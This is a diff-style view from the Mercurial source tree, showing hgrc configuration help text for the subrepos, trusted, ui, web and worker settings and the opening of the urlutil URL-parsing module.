2344 2347 rewrite it. Groups can be matched in ``pattern`` and referenced in
2345 2348 ``replacements``. For instance::
2346 2349
2347 2350 http://server/(.*)-hg/ = http://hg.server/\1/
2348 2351
2349 2352 rewrites ``http://server/foo-hg/`` into ``http://hg.server/foo/``.
2350 2353
2351 2354 Relative subrepository paths are first made absolute, and the
2352 2355 rewrite rules are then applied on the full (absolute) path. If ``pattern``
2353 2356 doesn't match the full path, an attempt is made to apply it on the
2354 2357 relative path alone. The rules are applied in definition order.
2355 2358
2356 2359 ``subrepos``
2357 2360 ------------
2358 2361
2359 2362 This section contains options that control the behavior of the
2360 2363 subrepositories feature. See also :hg:`help subrepos`.
2361 2364
2362 2365 Security note: auditing in Mercurial is known to be insufficient to
2363 2366 prevent clone-time code execution with carefully constructed Git
2364 2367 subrepos. It is unknown if a similar detect is present in Subversion
2365 2368 subrepos. Both Git and Subversion subrepos are disabled by default
2366 2369 out of security concerns. These subrepo types can be enabled using
2367 2370 the respective options below.
2368 2371
2369 2372 ``allowed``
2370 2373 Whether subrepositories are allowed in the working directory.
2371 2374
2372 2375 When false, commands involving subrepositories (like :hg:`update`)
2373 2376 will fail for all subrepository types.
2374 2377 (default: true)
2375 2378
2376 2379 ``hg:allowed``
2377 2380 Whether Mercurial subrepositories are allowed in the working
2378 2381 directory. This option only has an effect if ``subrepos.allowed``
2379 2382 is true.
2380 2383 (default: true)
2381 2384
2382 2385 ``git:allowed``
2383 2386 Whether Git subrepositories are allowed in the working directory.
2384 2387 This option only has an effect if ``subrepos.allowed`` is true.
2385 2388
2386 2389 See the security note above before enabling Git subrepos.
2387 2390 (default: false)
2388 2391
2389 2392 ``svn:allowed``
2390 2393 Whether Subversion subrepositories are allowed in the working
2391 2394 directory. This option only has an effect if ``subrepos.allowed``
2392 2395 is true.
2393 2396
2394 2397 See the security note above before enabling Subversion subrepos.
2395 2398 (default: false)
2396 2399
2397 2400 ``templatealias``
2398 2401 -----------------
2399 2402
2400 2403 Alias definitions for templates. See :hg:`help templates` for details.
2401 2404
2402 2405 ``templates``
2403 2406 -------------
2404 2407
2405 2408 Use the ``[templates]`` section to define template strings.
2406 2409 See :hg:`help templates` for details.
2407 2410
2408 2411 ``trusted``
2409 2412 -----------
2410 2413
2411 2414 Mercurial will not use the settings in the
2412 2415 ``.hg/hgrc`` file from a repository if it doesn't belong to a trusted
2413 2416 user or to a trusted group, as various hgrc features allow arbitrary
2414 2417 commands to be run. This issue is often encountered when configuring
2415 2418 hooks or extensions for shared repositories or servers. However,
2416 2419 the web interface will use some safe settings from the ``[web]``
2417 2420 section.
2418 2421
2419 2422 This section specifies what users and groups are trusted. The
2420 2423 current user is always trusted. To trust everybody, list a user or a
2421 2424 group with name ``*``. These settings must be placed in an
2422 2425 *already-trusted file* to take effect, such as ``$HOME/.hgrc`` of the
2423 2426 user or service running Mercurial.
2424 2427
2425 2428 ``users``
2426 2429 Comma-separated list of trusted users.
2427 2430
2428 2431 ``groups``
2429 2432 Comma-separated list of trusted groups.
2430 2433
2431 2434
2432 2435 ``ui``
2433 2436 ------
2434 2437
2435 2438 User interface controls.
2436 2439
2437 2440 ``archivemeta``
2438 2441 Whether to include the .hg_archival.txt file containing meta data
2439 2442 (hashes for the repository base and for tip) in archives created
2440 2443 by the :hg:`archive` command or downloaded via hgweb.
2441 2444 (default: True)
2442 2445
2443 2446 ``askusername``
2444 2447 Whether to prompt for a username when committing. If True, and
2445 2448 neither ``$HGUSER`` nor ``$EMAIL`` has been specified, then the user will
2446 2449 be prompted to enter a username. If no username is entered, the
2447 2450 default ``USER@HOST`` is used instead.
2448 2451 (default: False)
2449 2452
2450 2453 ``clonebundles``
2451 2454 Whether the "clone bundles" feature is enabled.
2452 2455
2453 2456 When enabled, :hg:`clone` may download and apply a server-advertised
2454 2457 bundle file from a URL instead of using the normal exchange mechanism.
2455 2458
2456 2459 This can likely result in faster and more reliable clones.
2457 2460
2458 2461 (default: True)
2459 2462
2460 2463 ``clonebundlefallback``
2461 2464 Whether failure to apply an advertised "clone bundle" from a server
2462 2465 should result in fallback to a regular clone.
2463 2466
2464 2467 This is disabled by default because servers advertising "clone
2465 2468 bundles" often do so to reduce server load. If advertised bundles
2466 2469 start mass failing and clients automatically fall back to a regular
2467 2470 clone, this would add significant and unexpected load to the server
2468 2471 since the server is expecting clone operations to be offloaded to
2469 2472 pre-generated bundles. Failing fast (the default behavior) ensures
2470 2473 clients don't overwhelm the server when "clone bundle" application
2471 2474 fails.
2472 2475
2473 2476 (default: False)
2474 2477
2475 2478 ``clonebundleprefers``
2476 2479 Defines preferences for which "clone bundles" to use.
2477 2480
2478 2481 Servers advertising "clone bundles" may advertise multiple available
2479 2482 bundles. Each bundle may have different attributes, such as the bundle
2480 2483 type and compression format. This option is used to prefer a particular
2481 2484 bundle over another.
2482 2485
2483 2486 The following keys are defined by Mercurial:
2484 2487
2485 2488 BUNDLESPEC
2486 2489 A bundle type specifier. These are strings passed to :hg:`bundle -t`.
2487 2490 e.g. ``gzip-v2`` or ``bzip2-v1``.
2488 2491
2489 2492 COMPRESSION
2490 2493 The compression format of the bundle. e.g. ``gzip`` and ``bzip2``.
2491 2494
2492 2495 Server operators may define custom keys.
2493 2496
2494 2497 Example values: ``COMPRESSION=bzip2``,
2495 2498 ``BUNDLESPEC=gzip-v2, COMPRESSION=gzip``.
2496 2499
2497 2500 By default, the first bundle advertised by the server is used.
2498 2501
2499 2502 ``color``
2500 2503 When to colorize output. Possible value are Boolean ("yes" or "no"), or
2501 2504 "debug", or "always". (default: "yes"). "yes" will use color whenever it
2502 2505 seems possible. See :hg:`help color` for details.
2503 2506
2504 2507 ``commitsubrepos``
2505 2508 Whether to commit modified subrepositories when committing the
2506 2509 parent repository. If False and one subrepository has uncommitted
2507 2510 changes, abort the commit.
2508 2511 (default: False)
2509 2512
2510 2513 ``debug``
2511 2514 Print debugging information. (default: False)
2512 2515
2513 2516 ``editor``
2514 2517 The editor to use during a commit. (default: ``$EDITOR`` or ``vi``)
2515 2518
2516 2519 ``fallbackencoding``
2517 2520 Encoding to try if it's not possible to decode the changelog using
2518 2521 UTF-8. (default: ISO-8859-1)
2519 2522
2520 2523 ``graphnodetemplate``
2521 2524 (DEPRECATED) Use ``command-templates.graphnode`` instead.
2522 2525
2523 2526 ``ignore``
2524 2527 A file to read per-user ignore patterns from. This file should be
2525 2528 in the same format as a repository-wide .hgignore file. Filenames
2526 2529 are relative to the repository root. This option supports hook syntax,
2527 2530 so if you want to specify multiple ignore files, you can do so by
2528 2531 setting something like ``ignore.other = ~/.hgignore2``. For details
2529 2532 of the ignore file format, see the ``hgignore(5)`` man page.
2530 2533
2531 2534 ``interactive``
2532 2535 Allow to prompt the user. (default: True)
2533 2536
2534 2537 ``interface``
2535 2538 Select the default interface for interactive features (default: text).
2536 2539 Possible values are 'text' and 'curses'.
2537 2540
2538 2541 ``interface.chunkselector``
2539 2542 Select the interface for change recording (e.g. :hg:`commit -i`).
2540 2543 Possible values are 'text' and 'curses'.
2541 2544 This config overrides the interface specified by ui.interface.
2542 2545
2543 2546 ``large-file-limit``
2544 2547 Largest file size that gives no memory use warning.
2545 2548 Possible values are integers or 0 to disable the check.
2546 2549 (default: 10000000)
2547 2550
2548 2551 ``logtemplate``
2549 2552 (DEPRECATED) Use ``command-templates.log`` instead.
2550 2553
2551 2554 ``merge``
2552 2555 The conflict resolution program to use during a manual merge.
2553 2556 For more information on merge tools see :hg:`help merge-tools`.
2554 2557 For configuring merge tools see the ``[merge-tools]`` section.
2555 2558
2556 2559 ``mergemarkers``
2557 2560 Sets the merge conflict marker label styling. The ``detailed`` style
2558 2561 uses the ``command-templates.mergemarker`` setting to style the labels.
2559 2562 The ``basic`` style just uses 'local' and 'other' as the marker label.
2560 2563 One of ``basic`` or ``detailed``.
2561 2564 (default: ``basic``)
2562 2565
2563 2566 ``mergemarkertemplate``
2564 2567 (DEPRECATED) Use ``command-templates.mergemarker`` instead.
2565 2568
2566 2569 ``message-output``
2567 2570 Where to write status and error messages. (default: ``stdio``)
2568 2571
2569 2572 ``channel``
2570 2573 Use separate channel for structured output. (Command-server only)
2571 2574 ``stderr``
2572 2575 Everything to stderr.
2573 2576 ``stdio``
2574 2577 Status to stdout, and error to stderr.
2575 2578
2576 2579 ``origbackuppath``
2577 2580 The path to a directory used to store generated .orig files. If the path is
2578 2581 not a directory, one will be created. If set, files stored in this
2579 2582 directory have the same name as the original file and do not have a .orig
2580 2583 suffix.
2581 2584
2582 2585 ``paginate``
2583 2586 Control the pagination of command output (default: True). See :hg:`help pager`
2584 2587 for details.
2585 2588
2586 2589 ``patch``
2587 2590 An optional external tool that ``hg import`` and some extensions
2588 2591 will use for applying patches. By default Mercurial uses an
2589 2592 internal patch utility. The external tool must work as the common
2590 2593 Unix ``patch`` program. In particular, it must accept a ``-p``
2591 2594 argument to strip patch headers, a ``-d`` argument to specify the
2592 2595 current directory, a file name to patch, and a patch file to take
2593 2596 from stdin.
2594 2597
2595 2598 It is possible to specify a patch tool together with extra
2596 2599 arguments. For example, setting this option to ``patch --merge``
2597 2600 will use the ``patch`` program with its 2-way merge option.
2598 2601
2599 2602 ``portablefilenames``
2600 2603 Check for portable filenames. Can be ``warn``, ``ignore`` or ``abort``.
2601 2604 (default: ``warn``)
2602 2605
2603 2606 ``warn``
2604 2607 Print a warning message on POSIX platforms, if a file with a non-portable
2605 2608 filename is added (e.g. a file with a name that can't be created on
2606 2609 Windows because it contains reserved parts like ``AUX``, reserved
2607 2610 characters like ``:``, or would cause a case collision with an existing
2608 2611 file).
2609 2612
2610 2613 ``ignore``
2611 2614 Don't print a warning.
2612 2615
2613 2616 ``abort``
2614 2617 The command is aborted.
2615 2618
2616 2619 ``true``
2617 2620 Alias for ``warn``.
2618 2621
2619 2622 ``false``
2620 2623 Alias for ``ignore``.
2621 2624
2622 2625 .. container:: windows
2623 2626
2624 2627 On Windows, this configuration option is ignored and the command aborted.
2625 2628
2626 2629 ``pre-merge-tool-output-template``
2627 2630 (DEPRECATED) Use ``command-template.pre-merge-tool-output`` instead.
2628 2631
2629 2632 ``quiet``
2630 2633 Reduce the amount of output printed.
2631 2634 (default: False)
2632 2635
2633 2636 ``relative-paths``
2634 2637 Prefer relative paths in the UI.
2635 2638
2636 2639 ``remotecmd``
2637 2640 Remote command to use for clone/push/pull operations.
2638 2641 (default: ``hg``)
2639 2642
2640 2643 ``report_untrusted``
2641 2644 Warn if a ``.hg/hgrc`` file is ignored due to not being owned by a
2642 2645 trusted user or group.
2643 2646 (default: True)
2644 2647
2645 2648 ``slash``
2646 2649 (Deprecated. Use ``slashpath`` template filter instead.)
2647 2650
2648 2651 Display paths using a slash (``/``) as the path separator. This
2649 2652 only makes a difference on systems where the default path
2650 2653 separator is not the slash character (e.g. Windows uses the
2651 2654 backslash character (``\``)).
2652 2655 (default: False)
2653 2656
2654 2657 ``statuscopies``
2655 2658 Display copies in the status command.
2656 2659
2657 2660 ``ssh``
2658 2661 Command to use for SSH connections. (default: ``ssh``)
2659 2662
2660 2663 ``ssherrorhint``
2661 2664 A hint shown to the user in the case of SSH error (e.g.
2662 2665 ``Please see http://company/internalwiki/ssh.html``)
2663 2666
2664 2667 ``strict``
2665 2668 Require exact command names, instead of allowing unambiguous
2666 2669 abbreviations. (default: False)
2667 2670
2668 2671 ``style``
2669 2672 Name of style to use for command output.
2670 2673
2671 2674 ``supportcontact``
2672 2675 A URL where users should report a Mercurial traceback. Use this if you are a
2673 2676 large organisation with its own Mercurial deployment process and crash
2674 2677 reports should be addressed to your internal support.
2675 2678
2676 2679 ``textwidth``
2677 2680 Maximum width of help text. A longer line generated by ``hg help`` or
2678 2681 ``hg subcommand --help`` will be broken after white space to get this
2679 2682 width or the terminal width, whichever comes first.
2680 2683 A non-positive value will disable this and the terminal width will be
2681 2684 used. (default: 78)
2682 2685
2683 2686 ``timeout``
2684 2687 The timeout used when a lock is held (in seconds), a negative value
2685 2688 means no timeout. (default: 600)
2686 2689
2687 2690 ``timeout.warn``
2688 2691 Time (in seconds) before a warning is printed about held lock. A negative
2689 2692 value means no warning. (default: 0)
2690 2693
2691 2694 ``traceback``
2692 2695 Mercurial always prints a traceback when an unknown exception
2693 2696 occurs. Setting this to True will make Mercurial print a traceback
2694 2697 on all exceptions, even those recognized by Mercurial (such as
2695 2698 IOError or MemoryError). (default: False)
2696 2699
2697 2700 ``tweakdefaults``
2698 2701
2699 2702 By default Mercurial's behavior changes very little from release
2700 2703 to release, but over time the recommended config settings
2701 2704 shift. Enable this config to opt in to get automatic tweaks to
2702 2705 Mercurial's behavior over time. This config setting will have no
2703 2706 effect if ``HGPLAIN`` is set or ``HGPLAINEXCEPT`` is set and does
2704 2707 not include ``tweakdefaults``. (default: False)
2705 2708
2706 2709 It currently means::
2707 2710
2708 2711 .. tweakdefaultsmarker
2709 2712
2710 2713 ``username``
2711 2714 The committer of a changeset created when running "commit".
2712 2715 Typically a person's name and email address, e.g. ``Fred Widget
2713 2716 <fred@example.com>``. Environment variables in the
2714 2717 username are expanded.
2715 2718
2716 2719 (default: ``$EMAIL`` or ``username@hostname``. If the username in
2717 2720 hgrc is empty, e.g. if the system admin set ``username =`` in the
2718 2721 system hgrc, it has to be specified manually or in a different
2719 2722 hgrc file)
2720 2723
2721 2724 ``verbose``
2722 2725 Increase the amount of output printed. (default: False)
2723 2726
2724 2727
2725 2728 ``command-templates``
2726 2729 ---------------------
2727 2730
2728 2731 Templates used for customizing the output of commands.
2729 2732
2730 2733 ``graphnode``
2731 2734 The template used to print changeset nodes in an ASCII revision graph.
2732 2735 (default: ``{graphnode}``)
2733 2736
2734 2737 ``log``
2735 2738 Template string for commands that print changesets.
2736 2739
2737 2740 ``mergemarker``
2738 2741 The template used to print the commit description next to each conflict
2739 2742 marker during merge conflicts. See :hg:`help templates` for the template
2740 2743 format.
2741 2744
2742 2745 Defaults to showing the hash, tags, branches, bookmarks, author, and
2743 2746 the first line of the commit description.
2744 2747
2745 2748 If you use non-ASCII characters in names for tags, branches, bookmarks,
2746 2749 authors, and/or commit descriptions, you must pay attention to encodings of
2747 2750 managed files. At template expansion, non-ASCII characters use the encoding
2748 2751 specified by the ``--encoding`` global option, ``HGENCODING`` or other
2749 2752 environment variables that govern your locale. If the encoding of the merge
2750 2753 markers is different from the encoding of the merged files,
2751 2754 serious problems may occur.
2752 2755
2753 2756 Can be overridden per-merge-tool, see the ``[merge-tools]`` section.
2754 2757
2755 2758 ``oneline-summary``
2756 2759 A template used by `hg rebase` and other commands for showing a one-line
2757 2760 summary of a commit. If the template configured here is longer than one
2758 2761 line, then only the first line is used.
2759 2762
2760 2763 The template can be overridden per command by defining a template in
2761 2764 `oneline-summary.<command>`, where `<command>` can be e.g. "rebase".
2762 2765
2763 2766 ``pre-merge-tool-output``
2764 2767 A template that is printed before executing an external merge tool. This can
2765 2768 be used to print out additional context that might be useful to have during
2766 2769 the conflict resolution, such as the description of the various commits
2767 2770 involved or bookmarks/tags.
2768 2771
2769 2772 Additional information is available in the ``local`, ``base``, and ``other``
2770 2773 dicts. For example: ``{local.label}``, ``{base.name}``, or
2771 2774 ``{other.islink}``.
2772 2775
2773 2776
2774 2777 ``web``
2775 2778 -------
2776 2779
2777 2780 Web interface configuration. The settings in this section apply to
2778 2781 both the builtin webserver (started by :hg:`serve`) and the script you
2779 2782 run through a webserver (``hgweb.cgi`` and the derivatives for FastCGI
2780 2783 and WSGI).
2781 2784
2782 2785 The Mercurial webserver does no authentication (it does not prompt for
2783 2786 usernames and passwords to validate *who* users are), but it does do
2784 2787 authorization (it grants or denies access for *authenticated users*
2785 2788 based on settings in this section). You must either configure your
2786 2789 webserver to do authentication for you, or disable the authorization
2787 2790 checks.
2788 2791
2789 2792 For a quick setup in a trusted environment, e.g., a private LAN, where
2790 2793 you want it to accept pushes from anybody, you can use the following
2791 2794 command line::
2792 2795
2793 2796 $ hg --config web.allow-push=* --config web.push_ssl=False serve
2794 2797
2795 2798 Note that this will allow anybody to push anything to the server and
2796 2799 that this should not be used for public servers.
2797 2800
2798 2801 The full set of options is:
2799 2802
2800 2803 ``accesslog``
2801 2804 Where to output the access log. (default: stdout)
2802 2805
2803 2806 ``address``
2804 2807 Interface address to bind to. (default: all)
2805 2808
2806 2809 ``allow-archive``
2807 2810 List of archive format (bz2, gz, zip) allowed for downloading.
2808 2811 (default: empty)
2809 2812
2810 2813 ``allowbz2``
2811 2814 (DEPRECATED) Whether to allow .tar.bz2 downloading of repository
2812 2815 revisions.
2813 2816 (default: False)
2814 2817
2815 2818 ``allowgz``
2816 2819 (DEPRECATED) Whether to allow .tar.gz downloading of repository
2817 2820 revisions.
2818 2821 (default: False)
2819 2822
2820 2823 ``allow-pull``
2821 2824 Whether to allow pulling from the repository. (default: True)
2822 2825
2823 2826 ``allow-push``
2824 2827 Whether to allow pushing to the repository. If empty or not set,
2825 2828 pushing is not allowed. If the special value ``*``, any remote
2826 2829 user can push, including unauthenticated users. Otherwise, the
2827 2830 remote user must have been authenticated, and the authenticated
2828 2831 user name must be present in this list. The contents of the
2829 2832 allow-push list are examined after the deny_push list.
2830 2833
2831 2834 ``allow_read``
2832 2835 If the user has not already been denied repository access due to
2833 2836 the contents of deny_read, this list determines whether to grant
2834 2837 repository access to the user. If this list is not empty, and the
2835 2838 user is unauthenticated or not present in the list, then access is
2836 2839 denied for the user. If the list is empty or not set, then access
2837 2840 is permitted to all users by default. Setting allow_read to the
2838 2841 special value ``*`` is equivalent to it not being set (i.e. access
2839 2842 is permitted to all users). The contents of the allow_read list are
2840 2843 examined after the deny_read list.
2841 2844
2842 2845 ``allowzip``
2843 2846 (DEPRECATED) Whether to allow .zip downloading of repository
2844 2847 revisions. This feature creates temporary files.
2845 2848 (default: False)
2846 2849
2847 2850 ``archivesubrepos``
2848 2851 Whether to recurse into subrepositories when archiving.
2849 2852 (default: False)
2850 2853
2851 2854 ``baseurl``
2852 2855 Base URL to use when publishing URLs in other locations, so
2853 2856 third-party tools like email notification hooks can construct
2854 2857 URLs. Example: ``http://hgserver/repos/``.
2855 2858
2856 2859 ``cacerts``
2857 2860 Path to file containing a list of PEM encoded certificate
2858 2861 authority certificates. Environment variables and ``~user``
2859 2862 constructs are expanded in the filename. If specified on the
2860 2863 client, then it will verify the identity of remote HTTPS servers
2861 2864 with these certificates.
2862 2865
2863 2866 To disable SSL verification temporarily, specify ``--insecure`` from
2864 2867 command line.
2865 2868
2866 2869 You can use OpenSSL's CA certificate file if your platform has
2867 2870 one. On most Linux systems this will be
2868 2871 ``/etc/ssl/certs/ca-certificates.crt``. Otherwise you will have to
2869 2872 generate this file manually. The form must be as follows::
2870 2873
2871 2874 -----BEGIN CERTIFICATE-----
2872 2875 ... (certificate in base64 PEM encoding) ...
2873 2876 -----END CERTIFICATE-----
2874 2877 -----BEGIN CERTIFICATE-----
2875 2878 ... (certificate in base64 PEM encoding) ...
2876 2879 -----END CERTIFICATE-----
2877 2880
2878 2881 ``cache``
2879 2882 Whether to support caching in hgweb. (default: True)
2880 2883
2881 2884 ``certificate``
2882 2885 Certificate to use when running :hg:`serve`.
2883 2886
2884 2887 ``collapse``
2885 2888 With ``descend`` enabled, repositories in subdirectories are shown at
2886 2889 a single level alongside repositories in the current path. With
2887 2890 ``collapse`` also enabled, repositories residing at a deeper level than
2888 2891 the current path are grouped behind navigable directory entries that
2889 2892 lead to the locations of these repositories. In effect, this setting
2890 2893 collapses each collection of repositories found within a subdirectory
2891 2894 into a single entry for that subdirectory. (default: False)
2892 2895
2893 2896 ``comparisoncontext``
2894 2897 Number of lines of context to show in side-by-side file comparison. If
2895 2898 negative or the value ``full``, whole files are shown. (default: 5)
2896 2899
2897 2900 This setting can be overridden by a ``context`` request parameter to the
2898 2901 ``comparison`` command, taking the same values.
2899 2902
2900 2903 ``contact``
2901 2904 Name or email address of the person in charge of the repository.
2902 2905 (default: ui.username or ``$EMAIL`` or "unknown" if unset or empty)
2903 2906
2904 2907 ``csp``
2905 2908 Send a ``Content-Security-Policy`` HTTP header with this value.
2906 2909
2907 2910 The value may contain a special string ``%nonce%``, which will be replaced
2908 2911 by a randomly-generated one-time use value. If the value contains
2909 2912 ``%nonce%``, ``web.cache`` will be disabled, as caching undermines the
2910 2913 one-time property of the nonce. This nonce will also be inserted into
2911 2914 ``<script>`` elements containing inline JavaScript.
2912 2915
2913 2916 Note: lots of HTML content sent by the server is derived from repository
2914 2917 data. Please consider the potential for malicious repository data to
2915 2918 "inject" itself into generated HTML content as part of your security
2916 2919 threat model.
2917 2920
2918 2921 ``deny_push``
2919 2922 Whether to deny pushing to the repository. If empty or not set,
2920 2923 push is not denied. If the special value ``*``, all remote users are
2921 2924 denied push. Otherwise, unauthenticated users are all denied, and
2922 2925 any authenticated user name present in this list is also denied. The
2923 2926 contents of the deny_push list are examined before the allow-push list.
2924 2927
2925 2928 ``deny_read``
2926 2929 Whether to deny reading/viewing of the repository. If this list is
2927 2930 not empty, unauthenticated users are all denied, and any
2928 2931 authenticated user name present in this list is also denied access to
2929 2932 the repository. If set to the special value ``*``, all remote users
2930 2933 are denied access (rarely needed ;). If deny_read is empty or not set,
2931 2934 the determination of repository access depends on the presence and
2932 2935 content of the allow_read list (see description). If both
2933 2936 deny_read and allow_read are empty or not set, then access is
2934 2937 permitted to all users by default. If the repository is being
2935 2938 served via hgwebdir, denied users will not be able to see it in
2936 2939 the list of repositories. The contents of the deny_read list have
2937 2940 priority over (are examined before) the contents of the allow_read
2938 2941 list.
2939 2942
2940 2943 ``descend``
2941 2944 hgwebdir indexes will not descend into subdirectories. Only repositories
2942 2945 directly in the current path will be shown (other repositories are still
2943 2946 available from the index corresponding to their containing path).
2944 2947
2945 2948 ``description``
2946 2949 Textual description of the repository's purpose or contents.
2947 2950 (default: "unknown")
2948 2951
2949 2952 ``encoding``
2950 2953 Character encoding name. (default: the current locale charset)
2951 2954 Example: "UTF-8".
2952 2955
2953 2956 ``errorlog``
2954 2957 Where to output the error log. (default: stderr)
2955 2958
2956 2959 ``guessmime``
2957 2960 Control MIME types for raw download of file content.
2958 2961 Set to True to let hgweb guess the content type from the file
2959 2962 extension. This will serve HTML files as ``text/html`` and might
2960 2963 allow cross-site scripting attacks when serving untrusted
2961 2964 repositories. (default: False)
2962 2965
2963 2966 ``hidden``
2964 2967 Whether to hide the repository in the hgwebdir index.
2965 2968 (default: False)
2966 2969
2967 2970 ``ipv6``
2968 2971 Whether to use IPv6. (default: False)
2969 2972
2970 2973 ``labels``
2971 2974 List of string *labels* associated with the repository.
2972 2975
2973 2976 Labels are exposed as a template keyword and can be used to customize
2974 2977 output. e.g. the ``index`` template can group or filter repositories
2975 2978 by labels and the ``summary`` template can display additional content
2976 2979 if a specific label is present.
2977 2980
2978 2981 ``logoimg``
2979 2982 File name of the logo image that some templates display on each page.
2980 2983 The file name is relative to ``staticurl``. That is, the full path to
2981 2984 the logo image is "staticurl/logoimg".
2982 2985 If unset, ``hglogo.png`` will be used.
2983 2986
2984 2987 ``logourl``
2985 2988 Base URL to use for logos. If unset, ``https://mercurial-scm.org/``
2986 2989 will be used.
2987 2990
2988 2991 ``maxchanges``
2989 2992 Maximum number of changes to list on the changelog. (default: 10)
2990 2993
2991 2994 ``maxfiles``
2992 2995 Maximum number of files to list per changeset. (default: 10)
2993 2996
2994 2997 ``maxshortchanges``
2995 2998 Maximum number of changes to list on the shortlog, graph or filelog
2996 2999 pages. (default: 60)
2997 3000
2998 3001 ``name``
2999 3002 Repository name to use in the web interface.
3000 3003 (default: current working directory)
3001 3004
3002 3005 ``port``
3003 3006 Port to listen on. (default: 8000)
3004 3007
3005 3008 ``prefix``
3006 3009 Prefix path to serve from. (default: '' (server root))
3007 3010
3008 3011 ``push_ssl``
3009 3012 Whether to require that inbound pushes be transported over SSL to
3010 3013 prevent password sniffing. (default: True)
3011 3014
3012 3015 ``refreshinterval``
3013 3016 How frequently directory listings re-scan the filesystem for new
3014 3017 repositories, in seconds. This is relevant when wildcards are used
3015 3018 to define paths. Depending on how much filesystem traversal is
3016 3019 required, refreshing may negatively impact performance.
3017 3020
3018 3021 Values less than or equal to 0 always refresh.
3019 3022 (default: 20)
3020 3023
3021 3024 ``server-header``
3022 3025 Value for HTTP ``Server`` response header.
3023 3026
3024 3027 ``static``
3025 3028 Directory where static files are served from.
3026 3029
3027 3030 ``staticurl``
3028 3031 Base URL to use for static files. If unset, static files (e.g. the
3029 3032 hgicon.png favicon) will be served by the CGI script itself. Use
3030 3033 this setting to serve them directly with the HTTP server.
3031 3034 Example: ``http://hgserver/static/``.
3032 3035
3033 3036 ``stripes``
3034 3037 How many lines a "zebra stripe" should span in multi-line output.
3035 3038 Set to 0 to disable. (default: 1)
3036 3039
3037 3040 ``style``
3038 3041 Which template map style to use. The available options are the names of
3039 3042 subdirectories in the HTML templates path. (default: ``paper``)
3040 3043 Example: ``monoblue``.
3041 3044
3042 3045 ``templates``
3043 3046 Where to find the HTML templates. The default path to the HTML templates
3044 3047 can be obtained from ``hg debuginstall``.
3045 3048
3046 3049 ``websub``
3047 3050 ----------
3048 3051
3049 3052 Web substitution filter definition. You can use this section to
3050 3053 define a set of regular expression substitution patterns which
3051 3054 let you automatically modify the hgweb server output.
3052 3055
3053 3056 The default hgweb templates only apply these substitution patterns
3054 3057 on the revision description fields. You can apply them anywhere
3055 3058 you want when you create your own templates by adding calls to the
3056 3059 "websub" filter (usually after calling the "escape" filter).
3057 3060
3058 3061 This can be used, for example, to convert issue references to links
3059 3062 to your issue tracker, or to convert "markdown-like" syntax into
3060 3063 HTML (see the examples below).
3061 3064
3062 3065 Each entry in this section names a substitution filter.
3063 3066 The value of each entry defines the substitution expression itself.
3064 3067 The websub expressions follow the old interhg extension syntax,
3065 3068 which in turn imitates the Unix sed replacement syntax::
3066 3069
3067 3070 patternname = s/SEARCH_REGEX/REPLACE_EXPRESSION/[i]
3068 3071
3069 3072 You can use any separator other than "/". The final "i" is optional
3070 3073 and indicates that the search must be case insensitive.
3071 3074
3072 3075 Examples::
3073 3076
3074 3077 [websub]
3075 3078 issues = s|issue(\d+)|<a href="http://bts.example.org/issue\1">issue\1</a>|i
3076 3079 italic = s/\b_(\S+)_\b/<i>\1<\/i>/
3077 3080 bold = s/\*\b(\S+)\b\*/<b>\1<\/b>/
3078 3081
3079 3082 ``worker``
3080 3083 ----------
3081 3084
3082 3085 Parallel master/worker configuration. We currently perform working
3083 3086 directory updates in parallel on Unix-like systems, which greatly
3084 3087 helps performance.
3085 3088
3086 3089 ``enabled``
3087 3090 Whether to enable workers code to be used.
3088 3091 (default: true)
3089 3092
3090 3093 ``numcpus``
3091 3094 Number of CPUs to use for parallel operations. A zero or
3092 3095 negative value is treated as ``use the default``.
3093 3096 (default: 4 or the number of CPUs on the system, whichever is larger)
3094 3097
3095 3098 ``backgroundclose``
3096 3099 Whether to enable closing file handles on background threads during certain
3097 3100 operations. Some platforms aren't very efficient at closing file
3098 3101 handles that have been written or appended to. By performing file closing
3099 3102 on background threads, file write rate can increase substantially.
3100 3103 (default: true on Windows, false elsewhere)
3101 3104
3102 3105 ``backgroundcloseminfilecount``
3103 3106 Minimum number of files required to trigger background file closing.
3104 3107 Operations not writing this many files won't start background close
3105 3108 threads.
3106 3109 (default: 2048)
3107 3110
3108 3111 ``backgroundclosemaxqueue``
3109 3112 The maximum number of opened file handles waiting to be closed in the
3110 3113 background. This option only has an effect if ``backgroundclose`` is
3111 3114 enabled.
3112 3115 (default: 384)
3113 3116
3114 3117 ``backgroundclosethreadcount``
3115 3118 Number of threads to process background file closes. Only relevant if
3116 3119 ``backgroundclose`` is enabled.
3117 3120 (default: 4)
@@ -1,951 +1,952
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 21 )
22 22
23 23 from . import (
24 24 stringutil,
25 25 )
26 26
27 27
28 28 if pycompat.TYPE_CHECKING:
29 29 from typing import (
30 30 Union,
31 31 )
32 32
33 33 urlreq = urllibcompat.urlreq
34 34
35 35
36 36 def getport(port):
37 37 # type: (Union[bytes, int]) -> int
38 38 """Return the port for a given network service.
39 39
40 40 If port is an integer, it's returned as is. If it's a string, it's
41 41 looked up using socket.getservbyname(). If there's no matching
42 42 service, error.Abort is raised.
43 43 """
44 44 try:
45 45 return int(port)
46 46 except ValueError:
47 47 pass
48 48
49 49 try:
50 50 return socket.getservbyname(pycompat.sysstr(port))
51 51 except socket.error:
52 52 raise error.Abort(
53 53 _(b"no port number associated with service '%s'") % port
54 54 )
55 55
56 56
57 57 class url(object):
58 58 r"""Reliable URL parser.
59 59
60 60 This parses URLs and provides attributes for the following
61 61 components:
62 62
63 63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
64 64
65 65 Missing components are set to None. The only exception is
66 66 fragment, which is set to '' if present but empty.
67 67
68 68 If parsefragment is False, fragment is included in query. If
69 69 parsequery is False, query is included in path. If both are
70 70 False, both fragment and query are included in path.
71 71
72 72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
73 73
74 74 Note that for backward compatibility reasons, bundle URLs do not
75 75 take host names. That means 'bundle://../' has a path of '../'.
76 76
77 77 Examples:
78 78
79 79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
80 80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
